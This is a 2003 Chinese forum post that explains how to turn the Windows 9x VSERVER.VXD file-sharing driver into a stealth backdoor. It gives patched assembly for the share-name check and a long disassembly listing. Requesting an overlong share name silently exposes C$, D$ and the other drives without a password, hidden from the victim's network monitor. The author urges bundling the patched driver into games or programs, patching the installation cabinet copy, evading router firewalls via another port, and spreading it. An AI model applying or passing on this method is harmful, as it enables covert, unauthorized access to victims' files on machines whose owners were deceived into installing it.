saintom 发表于 2003-10-14 01:45:06

我的木马研究

网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,
这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网
络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内
核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。


    下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的
木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,
就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程
序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有
(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针
为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230
就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出
错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排               CALL SUB_0230
NEW_LOC_0418   POP eax
               jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
下面是LOC_0415的改法:

LOC_0415:

03415      XOR EAX,EAX;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。
03417      PUSH EAX   ;1 字节 调用SUB_0230 用的DWORD参数 0;
03418      XOR ECX,ECX ;2 字节ECX=0;
0341A      DEC ECX      ;1 字节得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B      mov        edi,ebx ;2 bytes
0341D      repne scasb        ;2 bytes   
0341F      SUB EDI,EBX ;2 bytesget the share name long
03421      CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。
03424      ja        short loc_0419 ; 2 byte
03426      POP   EAX    ;1 byte 堆栈平衡
03427      PUSHEDI    ;1 byte
03428      POP   EAX    ;1 byteEAX=EDI SHARE NAME LONG , 后面要用

刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。

   中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。




                                ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
                                ;                              SUBROUTINE
                                ;
                                ;         Called from:   031FD,        32CC
                                ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    033F4                        sub_0026        proc        near
    033F456                                        push        esi
    033F566| 81 3B 5C5C                        cmp        word ptr ,5C5Ch
    033FA74 07                                je        short loc_0412                ; Jump if equal
    033FC66| 81 3B 2F2F                        cmp        word ptr ,2F2Fh
    0340175 12                                jne        short loc_0415                ; Jump if not equal
    03403                        loc_0412:                                        ;xref 033FA
    034038D 73 02                                lea        esi,dword ptr         ; Load effective addr
    03406                        loc_0413:                                        ;xref 0340F
    03406E8 00006961                                call        sub_0207                ; (09D6C)
    0340B74 05                                jz        short loc_0414                ; Jump if zero
    0340D3C 5C                                cmp        al,5Ch                        ; '\'
    0340F75 F5                                jne        loc_0413                ; Jump if not equal
    0341146                                        inc        esi
    03412                        loc_0414:                                        ;xref 0340B
    034128D 5E FF                                lea        ebx,dword ptr         ; Load effective addr
    03415                        loc_0415:                                        ;xref 03401
    034152A C0                                sub        al,al
    03417B9 0000FFFF                                mov        ecx,0FFFFh
    0341C8B FB                                mov        edi,ebx
    0341EF2/ AE                                repne        scasb                        ; Rep zf=0+cx >0 Scan es: for al
    034208B C7                                mov        eax,edi
    034222B C3                                sub        eax,ebx
    0342483 F8 0D                                cmp        eax,0Dh
    0342777 26                                ja        short loc_0419                ; Jump if above
    0342955                                        push        ebp
    0342A8B 2D 00011CA4                        mov        ebp,dword ptr data_0182;THE SHARE POINTER         ; (11CA4=0)
    03430                        loc_0416:                                        ;xref 0344C
    03430 ?1 FD 00011CA4                        cmp        ebp,11CA4h
    0343674 16                                je        short loc_0418                ; Jump if equal
    0343880 7D 08 02                                cmp        byte ptr ,2
    0343C75 0B                                jne        short loc_0417                ; Jump if not equal
    0343E8D 75 11                                lea        esi,dword ptr         ; Load effective addr
    034418B FB                                mov        edi,ebx
    034438B C8                                mov        ecx,eax
    03445F3/ A6                                repe        cmpsb                        ; Rep zf=1+cx >0 Cmp to es:
    0344774 3A                                jz        short loc_0424                ; Jump if zero
    03449                        loc_0417:                                        ;xref 0343C
    034498B 6D 00                                mov        ebp,dword ptr
    0344CEB E2                                jmp        short loc_0416                ; (03430)
    0344E                        loc_0418:                                        ;xref 03436
    0344E5D                                        pop        ebp
    0344F                        loc_0419:                                        ;xref 03427
    0344FB8 00060002                                mov        eax,60002h
    034545E                                        pop        esi
    03455F9                                        stc                                ; Set carry flag
    03456C3                                        retn
    03457                        loc_0420:                                        ;xref 0349F
    034578B 43 34                                mov        eax,dword ptr
    0345A8B 1B                                mov        ebx,
    0345C81 FB 00011CA4                        cmp        ebx,11CA4h
    0346274 0A                                je        short loc_0421                ; Jump if equal
    034643B 43 34                                cmp        eax,dword ptr
    0346774 2F                                je        short loc_0425                ; Jump if equal
    03469B8 00020002                                mov        eax,20002h
    0346E                        loc_0421:                                        ;xref 03462, 3481, 354D, 35E8
    0346E ?E                                        pop        esi
    0346FF9                                        stc                                ; Set carry flag
    03470C3                                        retn
    0347133 DB                                db       33h,0DBh
    03473                        loc_0422:                                        ;xref 0349D
    034735E                                        pop        esi
    03474C3                                        retn
    03475                        loc_0423:                                        ;xref 034C1
    034758B D3                                mov        edx,ebx
    03477 鶥B 0000000A                                mov        ebx,0Ah                        ; (0000A=0B8h)
    0347CB8 00590002                                mov        eax,590002h
    03481EB EB                                jmp        short loc_0421                ; (0346E)
    03483                        loc_0424:                                        ;xref 03447
    034838B DD                                mov        ebx,ebp
    0348559                                        pop        ecx   ;ebp ,the password long
    03486F6 05 00012446 01                        test        byte ptr data_0317,1        ; (12446=0)
    0348D75 12                                jnz        short loc_0426                ; Jump if not zero
    0348F8B 34 24                                mov        esi,
    03492F6 46 1F 01                                test        byte ptr ,1
    0349675 09                                jnz        short loc_0426                ; Jump if not zero
    03498                        loc_0425:                                        ;xref 03467
    03498E8 00000182                        call        sub_0027                ; (0361F)check the password
    0349D72 D4                                jc        loc_0422                ; Jump if carry Set
    0349F75 B6                                jnz        loc_0420                ; Jump if not zero
    034A1                        loc_0426:                                        ;xref 0348D, 3496
    034A1F6 43 10 40                        test        byte ptr ,40h        ; '@'
    034A50F 85 00000089                        jnz        loc_0433                ; Jump if not zero
    034ABA1 00011CC4                        mov        eax,data_0190                ; (11CC4=0FFFFF000h)
    034B080 38 01                                cmp        byte ptr ,1
    034B30F 83 00000134                        jae        loc_0439                ; Jump if above or =
    034B9                        loc_0427:                                        ;xref 0353B, 3564, 356F, 35F6
                                                                                ;            3611
    034B966| 8B 53 0E                        mov        dx,word ptr
    034BD66| 39 53 0C                        cmp        word ptr ,dx
    034C176 B2                                jbe        loc_0423                ; Jump if below or =
    034C3                        loc_0428:                                        ;xref 03528
    034C38B 0D 00011B34                        mov        ecx,dword ptr data_0170        ; (11B34=0)
    034C985 C9                                test        ecx,ecx
    034CB74 56                                jz        short loc_0431                ; Jump if zero
    034CD8B 01                                mov        eax,
    034CFA3 00011B34                                mov        data_0170,eax                ; (11B34=0)
    034D466| FF 43 0E                                inc        word ptr
    034D889 59 0C                                mov        dword ptr ,ebx
    034DBC6 41 14 03                                mov        byte ptr ,3
    034DF8A 41 17                                mov        al,byte ptr
    034E204 08                                add        al,8
    034E40C C0                                or        al,0C0h
    034E688 41 17                                mov        byte ptr ,al
    034E9C6 41 15 00                                mov        byte ptr ,0
    034ED8B 34 24                                mov        esi,
    034F0F6 46 1F 08                                test        byte ptr ,8
    034F475 08                                jnz        short loc_0429                ; Jump if not zero
    034F6A1 00011CC8                                mov        eax,data_0191                ; (11CC8=0FFFFF000h)
    034FBFF 40 10                                inc        dword ptr
    034FE                        loc_0429:                                        ;xref 034F4
    034FE5E                                        pop        esi
    034FF81 7B 11 494D4441                cmp        dword ptr ,494D4441h;ADMIN$ ?
    0350675 0E                                jne        short loc_0430                ; Jump if not equal
    0350866| 81 7B 15 244E                        cmp        word ptr ,244Eh
    0350E75 06                                jne        short loc_0430                ; Jump if not equal
    0351080 7B 17 00                                cmp        byte ptr ,0
    0351474 61                                je        short loc_0435                ; Jump if equal
    03516                        loc_0430:                                        ;xref 03506, 350E, 3584
    03516B8 00011CD4                                mov        eax,11CD4h
    0351BE8 000056BC                                call        sub_0130                ; (08BDC)
    0352085 DB                                test        ebx,ebx
    03522C3                                        retn
    03523                        loc_0431:                                        ;xref 034CB
    03523E8 00000190                                call        sub_0028                ; (036B8)
    0352873 99                                jnc        loc_0428                ; Jump if carry=0
    0352AEB 00                                jmp        short loc_0432                ; (0352C)
    0352C                        loc_0432:                                        ;xref 0352A
    0352C5F                                        pop        edi
    0352DB8 00590002                                mov        eax,590002h
    03532F9                                        stc                                ; Set carry flag
    03533C3                                        retn
    03534                        loc_0433:                                        ;xref 034A5
    035348B 34 24                                mov        esi,
    03537F6 46 1F 01                                test        byte ptr ,1
    0353B0F 85 FFFFFF78                        jnz        loc_0427                ; Jump if not zero
    03541                        loc_0434:                                        ;xref 03575, 358F
    03541 ?B D3                                mov        edx,ebx
    03543BB 0000000B                                mov        ebx,0Bh
    03548B8 00050001                                mov        eax,50001h
    0354DE9 FFFFFF1C                                jmp        loc_0421                ; (0346E)
                                                                                ;* No entry point to code
    035528B 3C 24                                mov        edi,
    0355553                                        push        ebx
    035568B 35 000128B8                        mov        esi,dword ptr data_0379        ; (128B8=0FFFFF000h)
    0355CE8 FFFFE407                                call        sub_0009                ; (01968)
    035615B                                        pop        ebx
    035620B ED                                or        ebp,ebp                        ; Zero ?
    035640F 84 FFFFFF4F                        jz        loc_0427                ; Jump if zero
    0356A3E: 83 7D 10 00                        cmp        dword ptr ds:,0
    0356F0F 85 FFFFFF44                        jne        loc_0427                ; Jump if not equal
    03575EB CA                                jmp        short loc_0434                ; (03541)
    03577                        loc_0435:                                        ;xref 03514
    03577F6 05 00012446 01                        test        byte ptr data_0317,1        ; (12446=0)
    0357E74 11                                jz        short loc_0436                ; Jump if zero
    03580F6 46 1F 01                                test        byte ptr ,1
    0358475 90                                jnz        loc_0430                ; NOT ADMIN$ Jump if not zero
    0358666| FF 4B 0E                                dec        word ptr
    0358AC6 41 14 00                                mov        byte ptr ,0
    0358E56                                        push        esi
    0358FEB B0                                jmp        short loc_0434                ; (03541)
    03591                        loc_0436:                                        ;xref 0357E
    0359180 4E 1F 01                                or        byte ptr ,1
    03595C6 41 15 01                                mov        byte ptr ,1
    035998B FE                                mov        edi,esi

    0359B8B 35 000128B8                        mov        esi,dword ptr data_0379        ; (128B8=0FFFFF000h)
    035A183 3D 000134E0 00                cmp        dword ptr data_0431,0        ; C$,D$HAVE BEEN SHARED(134E0=0)
    035A875 14                                jne        short loc_0437                ; Jump if not equal
    035AA52                                        push        edx
    035AB51                                        push        ecx
    035AC8D 4B 1E                                lea        ecx,dword ptr ;THE ADMIN$ PASSWORD
    035AF ?1                                        push        ecx                        ;PARAMETER_1if ecx=0 no password
    035B0E8 0000856F                                call        sub_0230        ;MAKE C$,D$SHARE(0BB24)
    035B559                                        pop        ecx
    035B659                                        pop        ecx
    035B75A                                        pop        edx
    035B8FF 05 000134E0                        inc        dword ptr data_0431        ; (134E0=0)
    035BE                        loc_0437:                                        ;xref 035A8
    035BE53                                        push        ebx
    035BFE8 FFFFE3A4                                call        sub_0009                ; (01968)
    035C472 13                                jc        short loc_0438                ; Jump if carry Set
    035C68B 3D 00011CCC                        mov        edi,dword ptr data_0192        ; (11CCC=0FFFFF000h)
    035CC8B BF 000000E2                        mov        edi,dword ptr ds:        ; (000E2=358B0000h)
    035D289 7B 04                                mov        dword ptr ,edi
    035D55B                                        pop        ebx
    035D685 DB                                test        ebx,ebx
    035D8C3                                        retn
    035D9                        loc_0438:                                        ;xref 035C4
    035D95A                                        pop        edx
    035DAC6 41 14 00                                mov        byte ptr ,0
    035DEBB 0000000C                                mov        ebx,0Ch
    035E3B8 00010002                                mov        eax,10002h
    035E8E9 FFFFFE81                                jmp        loc_0421                ; (0346E)
    035ED                        loc_0439:                                        ;xref 034B3
    035ED75 28                                jnz        short loc_0440                ; Jump if not zero
    035EF8B 34 24                                mov        esi,
    035F2F6 46 1F 01                                test        byte ptr ,1
    035F60F 85 FFFFFEBD                        jnz        loc_0427                ; Jump if not zero
    035FC81 7B 11 494D4441                        cmp        dword ptr ,494D4441h
    0360375 12                                jne        short loc_0440                ; Jump if not equal
    0360566| 81 7B 15 244E                        cmp        word ptr ,244Eh
    0360B75 0A                                jne        short loc_0440                ; Jump if not equal
    0360D80 7B 17 00                                cmp        byte ptr ,0
    036110F 84 FFFFFEA2                        je        loc_0427                ; Jump if equal
    03617                        loc_0440:                                        ;xref 035ED, 3603, 360B
    03617B8 00510002                                mov        eax,510002h
    0361C5F                                        pop        edi
    0361DF9                                        stc                                ; Set carry flag
    0361EC3                                        retn
                                sub_0026        end
页: [1]
查看完整版本: 我的木马研究